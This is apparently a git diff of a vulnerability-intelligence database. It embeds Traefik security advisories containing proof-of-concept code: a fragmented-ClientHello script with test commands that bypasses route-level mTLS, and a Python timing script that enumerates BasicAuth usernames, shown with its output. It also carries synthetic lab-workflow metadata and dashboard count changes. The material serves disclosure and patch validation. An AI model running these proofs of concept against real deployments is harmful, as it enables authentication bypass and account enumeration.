both --client-cert-pem and --client-key-pem\")\n\n conv = Connect(args.connect_host, args.port)\n node = conv\n node = node.add_child(SetMaxRecordSize(args.record_size))\n\n ext = {\n ExtensionType.server_name: SNIExtension().create(bytearray(args.sni, \"ascii\")),\n ExtensionType.supported_groups: SupportedGroupsExtension().create(\n [GroupName.secp256r1, GroupName.ffdhe2048]\n ),\n ExtensionType.signature_algorithms: SignatureAlgorithmsExtension().create(SIG_ALL),\n ExtensionType.signature_algorithms_cert: SignatureAlgorithmsCertExtension().create(SIG_ALL),\n 21: TLSExtension().create(21, bytearray(args.padding_len)),\n }\n\n ciphers = [\n CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,\n CipherSuite.TLS_DHE_RSA_WITH_AES_128_CBC_SHA,\n CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV,\n ]\n\n node = node.add_child(ClientHelloGenerator(ciphers, extensions=ext))\n node = node.add_child(ExpectServerHello())\n node = node.add_child(ExpectCertificate())\n node = node.add_child(ExpectServerKeyExchange())\n\n if args.expect_cert_request:\n node = node.add_child(ExpectCertificateRequest())\n\n node = node.add_child(ExpectServerHelloDone())\n\n if args.expect_cert_request and cert and key:\n node = node.add_child(CertificateGenerator(X509CertChain([cert])))\n node = node.add_child(ClientKeyExchangeGenerator())\n node = node.add_child(CertificateVerifyGenerator(key))\n node = node.add_child(ChangeCipherSpecGenerator())\n node = node.add_child(FinishedGenerator())\n node = node.add_child(ExpectChangeCipherSpec())\n node = node.add_child(ExpectFinished())\n req = bytearray(\n f\"GET / HTTP/1.1\\r\\nHost: {args.sni}\\r\\nConnection: close\\r\\n\\r\\n\".encode(\"ascii\")\n )\n node = node.add_child(ApplicationDataGenerator(req))\n node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))\n node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))\n node = node.add_child(ExpectAlert())\n node.next_sibling = ExpectClose()\n\n elif args.expect_cert_request and not (cert and key):\n node = node.add_child(CertificateGenerator())\n node = node.add_child(ClientKeyExchangeGenerator())\n node = node.add_child(ChangeCipherSpecGenerator())\n node = node.add_child(FinishedGenerator())\n node = node.add_child(ExpectChangeCipherSpec())\n node = node.add_child(ExpectFinished())\n\n else:\n node = node.add_child(ClientKeyExchangeGenerator())\n node = node.add_child(ChangeCipherSpecGenerator())\n node = node.add_child(FinishedGenerator())\n node = node.add_child(ExpectChangeCipherSpec())\n node = node.add_child(ExpectFinished())\n req = bytearray(\n f\"GET / HTTP/1.1\\r\\nHost: {args.sni}\\r\\nConnection: close\\r\\n\\r\\n\".encode(\"ascii\")\n )\n node = node.add_child(ApplicationDataGenerator(req))\n node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))\n node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))\n node = node.add_child(ExpectAlert())\n node.next_sibling = ExpectClose()\n\n try:\n Runner(conv).run()\n print(\"[OK] conversation completed\")\n except AssertionError as e:\n print(f\"[TLS RAW ERROR] {e}\")\n marker = \"Unexpected message from peer: \"\n s = str(e)\n if marker in s:\n print(f\"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}\")\n raise\n\n\nif __name__ == \"__main__\":\n main()\nEOF_FRAG_SCRIPT\n\nchmod +x frag_clienthello.py\ncd /tmp/testtlsfuzz/tlsfuzzer\nsource .venv/bin/activate\n\n# case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate)\npython frag_clienthello.py \\\n --connect-host 127.0.0.1 \\\n --port 8443 \\\n --sni whoami.home.arpa \\\n --record-size 16384 \\\n --expect-cert-request\n\n# case 1b with openssl instead of my script\nprintf 'GET / HTTP/1.1\\r\\nHost: whoami.home.arpa\\r\\nConnection: close\\r\\n\\r\\n' | \\\nopenssl s_client \\\n -connect 127.0.0.1:8443 \\\n -servername whoami.home.arpa \\\n -tls1_2 \\\n -CAfile /tmp/traefik-frag-poc/certs/ca.crt \\\n -state -msg -tlsextdebug -verify_return_error\n\n\n# case 2: non fragmented, with valid client cert (should succeed) \npython frag_clienthello.py \\\n --connect-host 127.0.0.1 \\\n --port 8443 \\\n --sni whoami.home.arpa \\\n --record-size 16384 \\\n --expect-cert-request \\\n --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \\\n --client-key-pem /tmp/traefik-frag-poc/certs/client.key\n\n# case 2b with openssl instead of my script\nprintf 'GET / HTTP/1.1\\r\\nHost: whoami.home.arpa\\r\\nConnection: close\\r\\n\\r\\n' | \\\nopenssl s_client -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls1_2 \\\n -cert /tmp/traefik-frag-poc/certs/client.crt \\\n -key /tmp/traefik-frag-poc/certs/client.key \\\n -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet\n\n# case 3 fragmented ClientHello, no client cert (bypass behavior test)\npython frag_clienthello.py \\\n --connect-host 127.0.0.1 \\\n --port 8443 \\\n --sni whoami.home.arpa \\\n --record-size 500\n# in the record-size you can play with it as long as the client hello sni sniff function returns an EOF\n```\n\n### Impact\nAn attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.\n\n
\n\n--", + "display_name": "Traefik", + "system_id": "traefik", + "category": "servers", + "severity": "medium", + "cvss_score": 4.0, + "exploit_status": "unknown", + "published_at": "2026-03-20T15:43:01Z", + "updated_at": "2026-03-20T15:46:41.715568Z", + "official_source_url": "https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48", + "secondary_source_urls": [ + "https://nvd.nist.gov/vuln/detail/CVE-2026-32305", + "https://github.com/traefik/traefik", + "https://github.com/traefik/traefik/releases/tag/v2.11.41", + "https://github.com/traefik/traefik/releases/tag/v3.6.11", + "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2" + ], + "aliases": [ + "CVE-2026-32305", + "GHSA-wvvq-wgcr-9q48" + ], + "secure_code_topics": [ + "proxy-trust-boundary", + "request-smuggling-boundary", + "plugin-extension-trust-policy", + "dependency-upgrade-policy" + ], + "verification_status": "triage-manual", + "verification_mode": "synthetic", + "artifact_mode": "synthetic", + "blocked_reason": null, + "browser_evidence": { + "required": false, + "present": false, + "refs": [] + }, + "entity_refs": [ + { + "entity_id": "traefik", + "entity_type": "system", + "relation": "root-system", + "root_system_id": "traefik", + "official": true + }, + { + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "entity_type": "extension", + "relation": "affected-component", + "root_system_id": "traefik", + "official": false + } + ], + "affected_components": [ + { + "name": "traefik / traefik / v3", + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "scope": "extension", + "package_name": "github.com/traefik/traefik/v3", + "official": false + } + ], + "affected_version_ranges": [ + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2", + "introduced=0, fixed<3.6.11", + "introduced=0, fixed<2.11.41", + "introduced=0, last_affected=1.7.34" + ], + "fixed_version_ranges": [ + "3.7.0-ea.2", + "3.6.11", + "2.11.41" + ], + "introduced_version": "introduced=0, last_affected=1.7.34", + "patched_version": "3.7.0-ea.2", + "version_confidence": "high", + "version_gap_reason": "", + "version_resolution_needed": false, + "advisory_scope": "extension", + "workflow": { + "workflow_id": "traefik--CVE-2026-32305--workflow", + "vuln_family": "plugin-extension", + "entry_surface": "extension-management-surface", + "preconditions": [ + "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002", + "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=3.7.0-ea.1, fixed<3.7.0-ea.2, introduced=0, fixed<3.6.11, introduced=0, fixed<2.11.41", + "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `extension`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002" + ], + "required_role": "plugin-manager-or-admin", + "affected_version_assertion": [ + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2", + "introduced=0, fixed<3.6.11", + "introduced=0, fixed<2.11.41", + "introduced=0, last_affected=1.7.34" + ], + "trigger_vector": "\u5bf9 `plugin-extension` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002", + "request_or_ui_path": [ + "/plugins", + "/extensions", + "/themes" + ], + "input_shape": "\u5728\u6269\u5c55\u7ba1\u7406\u6216\u6269\u5c55\u529f\u80fd\u5165\u53e3\u4e2d\u63d0\u4ea4\u53d7\u63a7\u914d\u7f6e/\u5185\u5bb9\u3002", + "expected_unsafe_behavior": "\u6269\u5c55\u5b89\u88c5\u3001\u914d\u7f6e\u6216\u8fd0\u884c\u7a81\u7834\u4e86\u4fe1\u4efb\u8fb9\u754c\u3002", + "server_evidence_points": [ + "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808", + "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56", + "\u63d2\u4ef6/\u6269\u5c55\u7ba1\u7406\u65e5\u5fd7\u3001\u5b89\u88c5\u65e5\u5fd7\u4e0e\u7248\u672c\u6e05\u5355" + ], + "browser_evidence_points": [ + "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02", + "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7" + ], + "db_or_fs_evidence_points": [ + "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e", + "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9", + "\u63d2\u4ef6\u76ee\u5f55\u3001\u4e3b\u9898\u76ee\u5f55\u6216\u6269\u5c55\u914d\u7f6e\u8868\u4e2d\u7684\u6d4b\u8bd5\u6837\u672c" + ], + "detection_signals": [ + "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66", + "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6" + ], + "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002", + "patch_validation_steps": [ + "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=3.7.0-ea.1, fixed<3.7.0-ea.2, introduced=0, fixed<3.6.11, introduced=0, fixed<2.11.41` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `3.7.0-ea.2`\u3002", + "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002", + "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002", + "\u8865\u5145 `plugin-extension` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002" + ], + "lab_safety_notes": [ + "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002", + "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002", + "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002" + ], + "review_state": "ready" + } + }, + "traefik--CVE-2026-32595": { + "canonical_id": "traefik--CVE-2026-32595", + "title": "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration", + "summary": "## Summary\n\nThere is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n
\nOriginal Description\n\n### Summary\nA timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design\n- User doesn't exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n name: basicauth\n namespace: traefik-poc\nspec:\n basicAuth:\n secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: test-basicauth\n annotations:\n traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n ingressClassName: traefik\n rules:\n - http:\n paths:\n - path: /protected\n pathType: Prefix\n backend:\n service:\n name: whoami\n port:\n number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n times = []\n for _ in range(SAMPLES):\n start = time.perf_counter()\n requests.get(TARGET, auth=(username, password), timeout=5)\n elapsed = time.perf_counter() - start\n times.append(elapsed)\n return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n median = measure_time(user)\n if median > 0.05: # bcrypt threshold\n status = \"[+] EXISTS (slow - bcrypt verification)\"\n else:\n status = \"[-] NOT FOUND (fast - immediate return)\"\n print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n - Attackers can enumerate valid usernames without authentication\n - Enables targeted password brute-force attacks against confirmed accounts\n - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:\n - BasicAuth middleware enabled\n - Attacker able to make requests to protected endpoints\n - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n
\n\n---", + "display_name": "Traefik", + "system_id": "traefik", + "category": "servers", + "severity": "medium", + "cvss_score": 4.0, + "exploit_status": "unknown", + "published_at": "2026-03-20T15:43:13Z", + "updated_at": "2026-03-20T15:46:26.940872Z", + "official_source_url": "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr", + "secondary_source_urls": [ + "https://nvd.nist.gov/vuln/detail/CVE-2026-32595", + "https://github.com/traefik/traefik", + "https://github.com/traefik/traefik/releases/tag/v2.11.41", + "https://github.com/traefik/traefik/releases/tag/v3.6.11", + "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2" + ], + "aliases": [ + "CVE-2026-32595", + "GHSA-g3hg-j4jv-cwfr" + ], + "secure_code_topics": [ + "proxy-trust-boundary", + "request-smuggling-boundary", + "dependency-upgrade-policy" + ], + "verification_status": "triage-manual", + "verification_mode": "synthetic", + "artifact_mode": "synthetic", + "blocked_reason": null, + "browser_evidence": { + "required": false, + "present": false, + "refs": [] + }, + "entity_refs": [ + { + "entity_id": "traefik", + "entity_type": "system", + "relation": "root-system", + "root_system_id": "traefik", + "official": true + }, + { + "entity_id": "traefik--repo--github-com-traefik-traefik-v3", + "entity_type": "repo", + "relation": "affected-component", + "root_system_id": "traefik", + "official": false + } + ], + "affected_components": [ + { + "name": "traefik / traefik / v3", + "entity_id": "traefik--repo--github-com-traefik-traefik-v3", + "scope": "repo", + "package_name": "github.com/traefik/traefik/v3", + "official": false + } + ], + "affected_version_ranges": [ + "introduced=0, last_affected=1.7.34", + "introduced=0, fixed<2.11.41", + "introduced=0, fixed<3.6.11", + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2" + ], + "fixed_version_ranges": [ + "2.11.41", + "3.6.11", + "3.7.0-ea.2" + ], + "introduced_version": "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2", + "patched_version": "2.11.41", + "version_confidence": "high", + "version_gap_reason": "", + "version_resolution_needed": false, + "advisory_scope": "repo", + "workflow": { + "workflow_id": "traefik--CVE-2026-32595--workflow", + "vuln_family": "proxy-boundary", + "entry_surface": "proxy-header-or-trust-boundary", + "preconditions": [ + "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002", + "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, last_affected=1.7.34, introduced=0, fixed<2.11.41, introduced=0, fixed<3.6.11", + "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002" + ], + "required_role": "reverse-proxy-or-edge-client", + "affected_version_assertion": [ + "introduced=0, last_affected=1.7.34", + "introduced=0, fixed<2.11.41", + "introduced=0, fixed<3.6.11", + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2" + ], + "trigger_vector": "\u5bf9 `proxy-boundary` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002", + "request_or_ui_path": [ + "/middleware", + "/x-forwarded-* trust path" + ], + "input_shape": "\u63d0\u4ea4\u53d7\u63a7\u4ee3\u7406\u5934\u6216\u6765\u6e90\u5934\uff0c\u9a8c\u8bc1\u4fe1\u4efb\u8fb9\u754c\u548c\u56de\u6e90\u9274\u6743\u3002", + "expected_unsafe_behavior": "\u4ec5\u51ed\u4ee3\u7406\u5934\u5373\u53ef\u8d8a\u8fc7\u9274\u6743\u6216\u6765\u6e90\u63a7\u5236\u3002", + "server_evidence_points": [ + "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808", + "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56" + ], + "browser_evidence_points": [ + "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02", + "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7" + ], + "db_or_fs_evidence_points": [ + "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e", + "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9" + ], + "detection_signals": [ + "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66", + "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6", + "\u4e0a\u6e38\u4ee3\u7406\u4e0e\u5e94\u7528\u5c42\u5bf9 Content-Length / Transfer-Encoding / forwarded headers \u7684\u89e3\u91ca\u5dee\u5f02" + ], + "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002", + "patch_validation_steps": [ + "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, last_affected=1.7.34, introduced=0, fixed<2.11.41, introduced=0, fixed<3.6.11` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `2.11.41`\u3002", + "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002", + "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002", + "\u8865\u5145 `proxy-boundary` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002" + ], + "lab_safety_notes": [ + "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002", + "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002", + "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002" + ], + "review_state": "ready" + } + }, "mattermost--CVE-2026-22545": { "canonical_id": "mattermost--CVE-2026-22545", "title": "Mattermost fails to validate user's authentication method when processing account auth type switch", diff --git a/08-threat-intel/generated/dashboard/architecture.json b/08-threat-intel/generated/dashboard/architecture.json index c0db3840..6c205d08 100644 --- a/08-threat-intel/generated/dashboard/architecture.json +++ b/08-threat-intel/generated/dashboard/architecture.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-20T15:46:06+00:00", + "generated_at": "2026-03-21T13:36:59+00:00", "title": "\u5f53\u524d\u67b6\u6784\u5e93", "summary": "\u5de5\u4f5c\u53f0\u3001\u63a7\u5236\u9762\u3001\u6570\u636e\u5c42\u3001\u6388\u6743\u8fb9\u754c\u4e0e\u7cfb\u7edf\u8986\u76d6\u7684\u5f53\u524d\u771f\u503c\u89c6\u56fe\u3002", "sections": [ @@ -27,7 +27,7 @@ }, { "label": "\u5df2\u7f16\u76ee\u5b9e\u4f53", - "value": "97" + "value": "99" }, { "label": "\u53d1\u73b0 backlog", @@ -39,7 +39,7 @@ }, { "label": "\u5f53\u524d\u6f0f\u6d1e\u6761\u76ee", - "value": "2399" + "value": "2402" } ], "fields": [ @@ -57,7 +57,7 @@ }, { "label": "\u751f\u6210\u65f6\u95f4", - "value": "2026-03-20T15:46:06+00:00" + "value": "2026-03-21T13:36:59+00:00" } ], "links": [ @@ -5941,7 +5941,7 @@ }, { "label": "Advisory \u6570", - "value": "2399" + "value": "2402" }, { "label": "\u72b6\u6001\u7c7b\u578b", @@ -5960,7 +5960,7 @@ "items": [ { "title": "\u4eba\u5de5\u5206\u8bca", - "summary": "\u5f53\u524d\u7d2f\u8ba1 2310 \u6761\u3002", + "summary": "\u5f53\u524d\u7d2f\u8ba1 2313 \u6761\u3002", "open": false, "fields": [ { @@ -5969,7 +5969,7 @@ }, { "label": "\u6570\u91cf", - "value": "2310" + "value": "2313" } ] }, diff --git a/08-threat-intel/generated/dashboard/data/alerts.json b/08-threat-intel/generated/dashboard/data/alerts.json index 29308b33..fc9cf6b1 100644 --- a/08-threat-intel/generated/dashboard/data/alerts.json +++ b/08-threat-intel/generated/dashboard/data/alerts.json @@ -5,10 +5,10 @@ "display_name": "Adminer", "source_name": "OSV Adminer", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -22,8 +22,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.728 + "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -32,10 +31,10 @@ "display_name": "Adobe Commerce", "source_name": "Adobe Magento Security Index", "source_kind": "vendor-index", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": 